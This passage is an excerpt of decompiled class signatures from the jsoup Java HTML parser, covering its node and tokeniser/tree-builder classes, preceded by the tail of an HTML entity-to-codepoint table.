wedge=02227
wedgeq=02259
weierp=02118
wfr=1D534
wopf=1D568
wp=02118
wr=02240
wreath=02240
wscr=1D4CC
xcap=022C2
xcirc=025EF
xcup=022C3
xdtri=025BD
xfr=1D535
xhArr=027FA
xharr=027F7
xi=003BE
xlArr=027F8
xlarr=027F5
xmap=027FC
xnis=022FB
xodot=02A00
xopf=1D569
xoplus=02A01
xotime=02A02
xrArr=027F9
xrarr=027F6
xscr=1D4CD
xsqcup=02A06
xuplus=02A04
xutri=025B3
xvee=022C1
xwedge=022C0
yacute=000FD
yacy=0044F
ycirc=00177
ycy=0044B
yen=000A5
yfr=1D536
yicy=00457
yopf=1D56A
yscr=1D4CE
yucy=0044E
yuml=000FF
zacute=0017A
zcaron=0017E
zcy=00437
zdot=0017C
zeetrf=02128
zeta=003B6
zfr=1D537
zhcy=00436
zigrarr=021DD
zopf=1D56B
zscr=1D4CF
zwj=0200D
zwnj=0200C










org/jsoup/nodes/Entities.class


package org.jsoup.nodes;
public synchronized class Entities {
    private static final java.util.Map full;
    private static final java.util.Map xhtmlByVal;
    private static final java.util.Map base;
    private static final java.util.Map baseByVal;
    private static final java.util.Map fullByVal;
    private static final java.util.regex.Pattern unescapePattern;
    private static final java.util.regex.Pattern strictUnescapePattern;
    private static final Object[][] xhtmlArray;
    private void Entities();
    public static boolean isNamedEntity(String);
    public static boolean isBaseNamedEntity(String);
    public static Character getCharacterByName(String);
    static String escape(String, Document$OutputSettings);
    static String escape(String, java.nio.charset.CharsetEncoder, Entities$EscapeMode);
    static String unescape(String);
    static String unescape(String, boolean);
    private static java.util.Map loadEntities(String);
    private static java.util.Map toCharacterKey(java.util.Map);
    static void <clinit>();
}










org/jsoup/nodes/FormElement.class


package org.jsoup.nodes;
public synchronized class FormElement extends Element {
    private final org.jsoup.select.Elements elements;
    public void FormElement(org.jsoup.parser.Tag, String, Attributes);
    public org.jsoup.select.Elements elements();
    public FormElement addElement(Element);
    public org.jsoup.Connection submit();
    public java.util.List formData();
    public boolean equals(Object);
}










org/jsoup/nodes/Node$1.class


package org.jsoup.nodes;
synchronized class Node$1 implements org.jsoup.select.NodeVisitor {
    void Node$1(Node, String);
    public void head(Node, int);
    public void tail(Node, int);
}










org/jsoup/nodes/Node$OuterHtmlVisitor.class


package org.jsoup.nodes;
synchronized class Node$OuterHtmlVisitor implements org.jsoup.select.NodeVisitor {
    private StringBuilder accum;
    private Document$OutputSettings out;
    void Node$OuterHtmlVisitor(StringBuilder, Document$OutputSettings);
    public void head(Node, int);
    public void tail(Node, int);
}










org/jsoup/nodes/Node.class


package org.jsoup.nodes;
public abstract synchronized class Node implements Cloneable {
    Node parentNode;
    java.util.List childNodes;
    Attributes attributes;
    String baseUri;
    int siblingIndex;
    protected void Node(String, Attributes);
    protected void Node(String);
    protected void Node();
    public abstract String nodeName();
    public String attr(String);
    public Attributes attributes();
    public Node attr(String, String);
    public boolean hasAttr(String);
    public Node removeAttr(String);
    public String baseUri();
    public void setBaseUri(String);
    public String absUrl(String);
    public Node childNode(int);
    public java.util.List childNodes();
    public java.util.List childNodesCopy();
    public final int childNodeSize();
    protected Node[] childNodesAsArray();
    public Node parent();
    public final Node parentNode();
    public Document ownerDocument();
    public void remove();
    public Node before(String);
    public Node before(Node);
    public Node after(String);
    public Node after(Node);
    private void addSiblingHtml(int, String);
    public Node wrap(String);
    public Node unwrap();
    private Element getDeepChild(Element);
    public void replaceWith(Node);
    protected void setParentNode(Node);
    protected void replaceChild(Node, Node);
    protected void removeChild(Node);
    protected transient void addChildren(Node[]);
    protected transient void addChildren(int, Node[]);
    private void reparentChild(Node);
    private void reindexChildren();
    public java.util.List siblingNodes();
    public Node nextSibling();
    public Node previousSibling();
    public int siblingIndex();
    protected void setSiblingIndex(int);
    public Node traverse(org.jsoup.select.NodeVisitor);
    public String outerHtml();
    protected void outerHtml(StringBuilder);
    private Document$OutputSettings getOutputSettings();
    abstract void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    abstract void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String toString();
    protected void indent(StringBuilder, int, Document$OutputSettings);
    public boolean equals(Object);
    public int hashCode();
    public Node clone();
    protected Node doClone(Node);
}










org/jsoup/nodes/TextNode.class


package org.jsoup.nodes;
public synchronized class TextNode extends Node {
    private static final String TEXT_KEY = text;
    String text;
    public void TextNode(String, String);
    public String nodeName();
    public String text();
    public TextNode text(String);
    public String getWholeText();
    public boolean isBlank();
    public TextNode splitText(int);
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String toString();
    public static TextNode createFromEncoded(String, String);
    static String normaliseWhitespace(String);
    static String stripLeadingWhitespace(String);
    static boolean lastCharIsWhitespace(StringBuilder);
    private void ensureAttributes();
    public String attr(String);
    public Attributes attributes();
    public Node attr(String, String);
    public boolean hasAttr(String);
    public Node removeAttr(String);
    public String absUrl(String);
}










org/jsoup/nodes/XmlDeclaration.class


package org.jsoup.nodes;
public synchronized class XmlDeclaration extends Node {
    private static final String DECL_KEY = declaration;
    private final boolean isProcessingInstruction;
    public void XmlDeclaration(String, String, boolean);
    public String nodeName();
    public String getWholeDeclaration();
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String toString();
}










org/jsoup/parser/CharacterReader.class


package org.jsoup.parser;
synchronized class CharacterReader {
    static final char EOF = 65535;
    private final char[] input;
    private final int length;
    private int pos;
    private int mark;
    void CharacterReader(String);
    int pos();
    boolean isEmpty();
    char current();
    char consume();
    void unconsume();
    void advance();
    void mark();
    void rewindToMark();
    String consumeAsString();
    int nextIndexOf(char);
    int nextIndexOf(CharSequence);
    String consumeTo(char);
    String consumeTo(String);
    transient String consumeToAny(char[]);
    String consumeToEnd();
    String consumeLetterSequence();
    String consumeLetterThenDigitSequence();
    String consumeHexSequence();
    String consumeDigitSequence();
    boolean matches(char);
    boolean matches(String);
    boolean matchesIgnoreCase(String);
    transient boolean matchesAny(char[]);
    boolean matchesLetter();
    boolean matchesDigit();
    boolean matchConsume(String);
    boolean matchConsumeIgnoreCase(String);
    boolean containsIgnoreCase(String);
    public String toString();
}










org/jsoup/parser/HtmlTreeBuilder.class


package org.jsoup.parser;
synchronized class HtmlTreeBuilder extends TreeBuilder {
    private static final String[] TagsScriptStyle;
    public static final String[] TagsSearchInScope;
    private static final String[] TagSearchList;
    private static final String[] TagSearchButton;
    private static final String[] TagSearchTableScope;
    private static final String[] TagSearchSelectScope;
    private static final String[] TagSearchEndTags;
    private static final String[] TagSearchSpecial;
    private HtmlTreeBuilderState state;
    private HtmlTreeBuilderState originalState;
    private boolean baseUriSetFromDoc;
    private org.jsoup.nodes.Element headElement;
    private org.jsoup.nodes.FormElement formElement;
    private org.jsoup.nodes.Element contextElement;
    private org.jsoup.helper.DescendableLinkedList formattingElements;
    private java.util.List pendingTableCharacters;
    private boolean framesetOk;
    private boolean fosterInserts;
    private boolean fragmentParsing;
    void HtmlTreeBuilder();
    org.jsoup.nodes.Document parse(String, String, ParseErrorList);
    java.util.List parseFragment(String, org.jsoup.nodes.Element, String, ParseErrorList);
    protected boolean process(Token);
    boolean process(Token, HtmlTreeBuilderState);
    void transition(HtmlTreeBuilderState);
    HtmlTreeBuilderState state();
    void markInsertionMode();
    HtmlTreeBuilderState originalState();
    void framesetOk(boolean);
    boolean framesetOk();
    org.jsoup.nodes.Document getDocument();
    String getBaseUri();
    void maybeSetBaseUri(org.jsoup.nodes.Element);
    boolean isFragmentParsing();
    void error(HtmlTreeBuilderState);
    org.jsoup.nodes.Element insert(Token$StartTag);
    org.jsoup.nodes.Element insert(String);
    void insert(org.jsoup.nodes.Element);
    org.jsoup.nodes.Element insertEmpty(Token$StartTag);
    org.jsoup.nodes.FormElement insertForm(Token$StartTag, boolean);
    void insert(Token$Comment);
    void insert(Token$Character);
    private void insertNode(org.jsoup.nodes.Node);
    org.jsoup.nodes.Element pop();
    void push(org.jsoup.nodes.Element);
    org.jsoup.helper.DescendableLinkedList getStack();
    boolean onStack(org.jsoup.nodes.Element);
    private boolean isElementInQueue(org.jsoup.helper.DescendableLinkedList, org.jsoup.nodes.Element);
    org.jsoup.nodes.Element getFromStack(String);
    boolean removeFromStack(org.jsoup.nodes.Element);
    void popStackToClose(String);
    transient void popStackToClose(String[]);
    void popStackToBefore(String);
    void clearStackToTableContext();
    void clearStackToTableBodyContext();
    void clearStackToTableRowContext();
    private transient void clearStackToContext(String[]);
    org.jsoup.nodes.Element aboveOnStack(org.jsoup.nodes.Element);
    void insertOnStackAfter(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    void replaceOnStack(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    private void replaceInQueue(java.util.LinkedList, org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    void resetInsertionMode();
    private boolean inSpecificScope(String, String[], String[]);
    private boolean inSpecificScope(String[], String[], String[]);
    boolean inScope(String[]);
    boolean inScope(String);
    boolean inScope(String, String[]);
    boolean inListItemScope(String);
    boolean inButtonScope(String);
    boolean inTableScope(String);
    boolean inSelectScope(String);
    void setHeadElement(org.jsoup.nodes.Element);
    org.jsoup.nodes.Element getHeadElement();
    boolean isFosterInserts();
    void setFosterInserts(boolean);
    org.jsoup.nodes.FormElement getFormElement();
    void setFormElement(org.jsoup.nodes.FormElement);
    void newPendingTableCharacters();
    java.util.List getPendingTableCharacters();
    void setPendingTableCharacters(java.util.List);
    void generateImpliedEndTags(String);
    void generateImpliedEndTags();
    boolean isSpecial(org.jsoup.nodes.Element);
    void pushActiveFormattingElements(org.jsoup.nodes.Element);
    private boolean isSameFormattingElement(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    void reconstructFormattingElements();
    void clearFormattingElementsToLastMarker();
    void removeFromActiveFormattingElements(org.jsoup.nodes.Element);
    boolean isInActiveFormattingElements(org.jsoup.nodes.Element);
    org.jsoup.nodes.Element getActiveFormattingElement(String);
    void replaceActiveFormattingElement(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    void insertMarkerToFormattingElements();
    void insertInFosterParent(org.jsoup.nodes.Node);
    public String toString();
    static void <clinit>();
}










org/jsoup/parser/HtmlTreeBuilderState$1.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$1 {
    void HtmlTreeBuilderState$1(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$10.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$10 {
    void HtmlTreeBuilderState$10(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$11.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$11 {
    void HtmlTreeBuilderState$11(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$12.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$12 {
    void HtmlTreeBuilderState$12(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, TreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$13.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$13 {
    void HtmlTreeBuilderState$13(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean exitTableBody(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$14.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$14 {
    void HtmlTreeBuilderState$14(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
    private boolean handleMissingTr(Token, TreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$15.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$15 {
    void HtmlTreeBuilderState$15(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
    private void closeCell(HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$16.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$16 {
    void HtmlTreeBuilderState$16(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$17.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$17 {
    void HtmlTreeBuilderState$17(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$18.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$18 {
    void HtmlTreeBuilderState$18(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$19.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$19 {
    void HtmlTreeBuilderState$19(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$2.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$2 {
    void HtmlTreeBuilderState$2(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$20.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$20 {
    void HtmlTreeBuilderState$20(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$21.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$21 {
    void HtmlTreeBuilderState$21(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$22.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$22 {
    void HtmlTreeBuilderState$22(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$23.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$23 {
    void HtmlTreeBuilderState$23(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$24.class


package org.jsoup.parser;
synchronized class HtmlTreeBuilderState$24 {
    static void <clinit>();
}










org/jsoup/parser/HtmlTreeBuilderState$3.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$3 {
    void HtmlTreeBuilderState$3(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$4.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$4 {
    void HtmlTreeBuilderState$4(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, TreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$5.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$5 {
    void HtmlTreeBuilderState$5(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$6.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$6 {
    void HtmlTreeBuilderState$6(String, int);
    boolean process(Token, HtmlTreeBuilder);
    private boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$7.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$7 {
    void HtmlTreeBuilderState$7(String, int);
    boolean process(Token, HtmlTreeBuilder);
    boolean anyOtherEndTag(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$8.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$8 {
    void HtmlTreeBuilderState$8(String, int);
    boolean process(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$9.class


package org.jsoup.parser;
final synchronized enum HtmlTreeBuilderState$9 {
    void HtmlTreeBuilderState$9(String, int);
    boolean process(Token, HtmlTreeBuilder);
    boolean anythingElse(Token, HtmlTreeBuilder);
}










org/jsoup/parser/HtmlTreeBuilderState$Constants.class


package org.jsoup.parser;
final synchronized class HtmlTreeBuilderState$Constants {
    private static final String[] InBodyStartToHead;
    private static final String[] InBodyStartPClosers;
    private static final String[] Headings;
    private static final String[] InBodyStartPreListing;
    private static final String[] InBodyStartLiBreakers;
    private static final String[] DdDt;
    private static final String[] Formatters;
    private static final String[] InBodyStartApplets;
    private static final String[] InBodyStartEmptyFormatters;
    private static final String[] InBodyStartMedia;
    private static final String[] InBodyStartInputAttribs;
    private static final String[] InBodyStartOptions;
    private static final String[] InBodyStartRuby;
    private static final String[] InBodyStartDrop;
    private static final String[] InBodyEndClosers;
    private static final String[] InBodyEndAdoptionFormatters;
    private static final String[] InBodyEndTableFosters;
    private void HtmlTreeBuilderState$Constants();
    static void <clinit>();
}










org/jsoup/parser/HtmlTreeBuilderState.class


package org.jsoup.parser;
abstract synchronized enum HtmlTreeBuilderState {
    public static final HtmlTreeBuilderState Initial;
    public static final HtmlTreeBuilderState BeforeHtml;
    public static final HtmlTreeBuilderState BeforeHead;
    public static final HtmlTreeBuilderState InHead;
    public static final HtmlTreeBuilderState InHeadNoscript;
    public static final HtmlTreeBuilderState AfterHead;
    public static final HtmlTreeBuilderState InBody;
    public static final HtmlTreeBuilderState Text;
    public static final HtmlTreeBuilderState InTable;
    public static final HtmlTreeBuilderState InTableText;
    public static final HtmlTreeBuilderState InCaption;
    public static final HtmlTreeBuilderState InColumnGroup;
    public static final HtmlTreeBuilderState InTableBody;
    public static final HtmlTreeBuilderState InRow;
    public static final HtmlTreeBuilderState InCell;
    public static final HtmlTreeBuilderState InSelect;
    public static final HtmlTreeBuilderState InSelectInTable;
    public static final HtmlTreeBuilderState AfterBody;
    public static final HtmlTreeBuilderState InFrameset;
    public static final HtmlTreeBuilderState AfterFrameset;
    public static final HtmlTreeBuilderState AfterAfterBody;
    public static final HtmlTreeBuilderState AfterAfterFrameset;
    public static final HtmlTreeBuilderState ForeignContent;
    private static String nullString;
    public static HtmlTreeBuilderState[] values();
    public static HtmlTreeBuilderState valueOf(String);
    private void HtmlTreeBuilderState(String, int);
    abstract boolean process(Token, HtmlTreeBuilder);
    private static boolean isWhitespace(Token);
    private static void handleRcData(Token$StartTag, HtmlTreeBuilder);
    private static void handleRawtext(Token$StartTag, HtmlTreeBuilder);
    static void <clinit>();
}










org/jsoup/parser/ParseError.class


package org.jsoup.parser;
public synchronized class ParseError {
    private int pos;
    private String errorMsg;
    void ParseError(int, String);
    transient void ParseError(int, String, Object[]);
    public String getErrorMessage();
    public int getPosition();
    public String toString();
}










org/jsoup/parser/ParseErrorList.class


package org.jsoup.parser;
synchronized class ParseErrorList extends java.util.ArrayList {
    private static final int INITIAL_CAPACITY = 16;
    private final int maxSize;
    void ParseErrorList(int, int);
    boolean canAddError();
    int getMaxSize();
    static ParseErrorList noTracking();
    static ParseErrorList tracking(int);
}










org/jsoup/parser/Parser.class


package org.jsoup.parser;
public synchronized class Parser {
    private static final int DEFAULT_MAX_ERRORS = 0;
    private TreeBuilder treeBuilder;
    private int maxErrors;
    private ParseErrorList errors;
    public void Parser(TreeBuilder);
    public org.jsoup.nodes.Document parseInput(String, String);
    public TreeBuilder getTreeBuilder();
    public Parser setTreeBuilder(TreeBuilder);
    public boolean isTrackErrors();
    public Parser setTrackErrors(int);
    public java.util.List getErrors();
    public static org.jsoup.nodes.Document parse(String, String);
    public static java.util.List parseFragment(String, org.jsoup.nodes.Element, String);
    public static java.util.List parseXmlFragment(String, String);
    public static org.jsoup.nodes.Document parseBodyFragment(String, String);
    public static String unescapeEntities(String, boolean);
    public static org.jsoup.nodes.Document parseBodyFragmentRelaxed(String, String);
    public static Parser htmlParser();
    public static Parser xmlParser();
}










org/jsoup/parser/Tag.class


package org.jsoup.parser;
public synchronized class Tag {
    private static final java.util.Map tags;
    private String tagName;
    private boolean isBlock;
    private boolean formatAsBlock;
    private boolean canContainBlock;
    private boolean canContainInline;
    private boolean empty;
    private boolean selfClosing;
    private boolean preserveWhitespace;
    private boolean formList;
    private boolean formSubmit;
    private static final String[] blockTags;
    private static final String[] inlineTags;
    private static final String[] emptyTags;
    private static final String[] formatAsInlineTags;
    private static final String[] preserveWhitespaceTags;
    private static final String[] formListedTags;
    private static final String[] formSubmitTags;
    private void Tag(String);
    public String getName();
    public static Tag valueOf(String);
    public boolean isBlock();
    public boolean formatAsBlock();
    public boolean canContainBlock();
    public boolean isInline();
    public boolean isData();
    public boolean isEmpty();
    public boolean isSelfClosing();
    public boolean isKnownTag();
    public static boolean isKnownTag(String);
    public boolean preserveWhitespace();
    public boolean isFormListed();
    public boolean isFormSubmittable();
    Tag setSelfClosing();
    public boolean equals(Object);
    public int hashCode();
    public String toString();
    private static void register(Tag);
    static void <clinit>();
}










org/jsoup/parser/Token$1.class


package org.jsoup.parser;
synchronized class Token$1 {
}










org/jsoup/parser/Token$Character.class


package org.jsoup.parser;
synchronized class Token$Character extends Token {
    private final String data;
    void Token$Character(String);
    String getData();
    public String toString();
}










org/jsoup/parser/Token$Comment.class


package org.jsoup.parser;
synchronized class Token$Comment extends Token {
    final StringBuilder data;
    boolean bogus;
    void Token$Comment();
    String getData();
    public String toString();
}










org/jsoup/parser/Token$Doctype.class


package org.jsoup.parser;
synchronized class Token$Doctype extends Token {
    final StringBuilder name;
    final StringBuilder publicIdentifier;
    final StringBuilder systemIdentifier;
    boolean forceQuirks;
    void Token$Doctype();
    String getName();
    String getPublicIdentifier();
    public String getSystemIdentifier();
    public boolean isForceQuirks();
}










org/jsoup/parser/Token$EndTag.class


package org.jsoup.parser;
synchronized class Token$EndTag extends Token$Tag {
    void Token$EndTag();
    void Token$EndTag(String);
    public String toString();
}










org/jsoup/parser/Token$EOF.class


package org.jsoup.parser;
synchronized class Token$EOF extends Token {
    void Token$EOF();
}










org/jsoup/parser/Token$StartTag.class


package org.jsoup.parser;
synchronized class Token$StartTag extends Token$Tag {
    void Token$StartTag();
    void Token$StartTag(String);
    void Token$StartTag(String, org.jsoup.nodes.Attributes);
    public String toString();
}










org/jsoup/parser/Token$Tag.class


package org.jsoup.parser;
abstract synchronized class Token$Tag extends Token {
    protected String tagName;
    private String pendingAttributeName;
    private StringBuilder pendingAttributeValue;
    boolean selfClosing;
    org.jsoup.nodes.Attributes attributes;
    void Token$Tag();
    void newAttribute();
    void finaliseTag();
    String name();
    Token$Tag name(String);
    boolean isSelfClosing();
    org.jsoup.nodes.Attributes getAttributes();
    void appendTagName(String);
    void appendTagName(char);
    void appendAttributeName(String);
    void appendAttributeName(char);
    void appendAttributeValue(String);
    void appendAttributeValue(char);
    void appendAttributeValue(char[]);
    private final void ensureAttributeValue();
}










org/jsoup/parser/Token$TokenType.class


package org.jsoup.parser;
final synchronized enum Token$TokenType {
    public static final Token$TokenType Doctype;
    public static final Token$TokenType StartTag;
    public static final Token$TokenType EndTag;
    public static final Token$TokenType Comment;
    public static final Token$TokenType Character;
    public static final Token$TokenType EOF;
    public static Token$TokenType[] values();
    public static Token$TokenType valueOf(String);
    private void Token$TokenType(String, int);
    static void <clinit>();
}










org/jsoup/parser/Token.class


package org.jsoup.parser;
abstract synchronized class Token {
    Token$TokenType type;
    private void Token();
    String tokenType();
    boolean isDoctype();
    Token$Doctype asDoctype();
    boolean isStartTag();
    Token$StartTag asStartTag();
    boolean isEndTag();
    Token$EndTag asEndTag();
    boolean isComment();
    Token$Comment asComment();
    boolean isCharacter();
    Token$Character asCharacter();
    boolean isEOF();
}










org/jsoup/parser/Tokeniser.class


package org.jsoup.parser;
synchronized class Tokeniser {
    static final char replacementChar = 65533;
    private CharacterReader reader;
    private ParseErrorList errors;
    private TokeniserState state;
    private Token emitPending;
    private boolean isEmitPending;
    private StringBuilder charBuffer;
    StringBuilder dataBuffer;
    Token$Tag tagPending;
    Token$Doctype doctypePending;
    Token$Comment commentPending;
    private Token$StartTag lastStartTag;
    private boolean selfClosingFlagAcknowledged;
    void Tokeniser(CharacterReader, ParseErrorList);
    Token read();
    void emit(Token);
    void emit(String);
    void emit(char[]);
    void emit(char);
    TokeniserState getState();
    void transition(TokeniserState);
    void advanceTransition(TokeniserState);
    void acknowledgeSelfClosingFlag();
    char[] consumeCharacterReference(Character, boolean);
    Token$Tag createTagPending(boolean);
    void emitTagPending();
    void createCommentPending();
    void emitCommentPending();
    void createDoctypePending();
    void emitDoctypePending();
    void createTempBuffer();
    boolean isAppropriateEndTagToken();
    String appropriateEndTagName();
    void error(TokeniserState);
    void eofError(TokeniserState);
    private void characterReferenceError(String);
    private void error(String);
    boolean currentNodeInHtmlNS();
    String unescapeEntities(boolean);
}










org/jsoup/parser/TokeniserState$1.class


package org.jsoup.parser;
final synchronized enum TokeniserState$1 {
    void TokeniserState$1(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$10.class


package org.jsoup.parser;
final synchronized enum TokeniserState$10 {
    void TokeniserState$10(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$11.class


package org.jsoup.parser;
final synchronized enum TokeniserState$11 {
    void TokeniserState$11(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$12.class


package org.jsoup.parser;
final synchronized enum TokeniserState$12 {
    void TokeniserState$12(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$13.class


package org.jsoup.parser;
final synchronized enum TokeniserState$13 {
    void TokeniserState$13(String, int);
    void read(Tokeniser, CharacterReader);
    private void anythingElse(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$14.class


package org.jsoup.parser;
final synchronized enum TokeniserState$14 {
    void TokeniserState$14(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$15.class


package org.jsoup.parser;
final synchronized enum TokeniserState$15 {
    void TokeniserState$15(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$16.class


package org.jsoup.parser;
final synchronized enum TokeniserState$16 {
    void TokeniserState$16(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$17.class


package org.jsoup.parser;
final synchronized enum TokeniserState$17 {
    void TokeniserState$17(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$18.class


package org.jsoup.parser;
final synchronized enum TokeniserState$18 {
    void TokeniserState$18(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$19.class


package org.jsoup.parser;
final synchronized enum TokeniserState$19 {
    void TokeniserState$19(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$2.class


package org.jsoup.parser;
final synchronized enum TokeniserState$2 {
    void TokeniserState$2(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$20.class


package org.jsoup.parser;
final synchronized enum TokeniserState$20 {
    void TokeniserState$20(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$21.class


package org.jsoup.parser;
final synchronized enum TokeniserState$21 {
    void TokeniserState$21(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$22.class


package org.jsoup.parser;
final synchronized enum TokeniserState$22 {
    void TokeniserState$22(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$23.class


package org.jsoup.parser;
final synchronized enum TokeniserState$23 {
    void TokeniserState$23(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$24.class


package org.jsoup.parser;
final synchronized enum TokeniserState$24 {
    void TokeniserState$24(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$25.class


package org.jsoup.parser;
final synchronized enum TokeniserState$25 {
    void TokeniserState$25(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$26.class


package org.jsoup.parser;
final synchronized enum TokeniserState$26 {
    void TokeniserState$26(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$27.class


package org.jsoup.parser;
final synchronized enum TokeniserState$27 {
    void TokeniserState$27(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$28.class


package org.jsoup.parser;
final synchronized enum TokeniserState$28 {
    void TokeniserState$28(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$29.class


package org.jsoup.parser;
final synchronized enum TokeniserState$29 {
    void TokeniserState$29(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$3.class


package org.jsoup.parser;
final synchronized enum TokeniserState$3 {
    void TokeniserState$3(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$30.class


package org.jsoup.parser;
final synchronized enum TokeniserState$30 {
    void TokeniserState$30(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$31.class


package org.jsoup.parser;
final synchronized enum TokeniserState$31 {
    void TokeniserState$31(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$32.class


package org.jsoup.parser;
final synchronized enum TokeniserState$32 {
    void TokeniserState$32(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$33.class


package org.jsoup.parser;
final synchronized enum TokeniserState$33 {
    void TokeniserState$33(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$34.class


package org.jsoup.parser;
final synchronized enum TokeniserState$34 {
    void TokeniserState$34(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$35.class


package org.jsoup.parser;
final synchronized enum TokeniserState$35 {
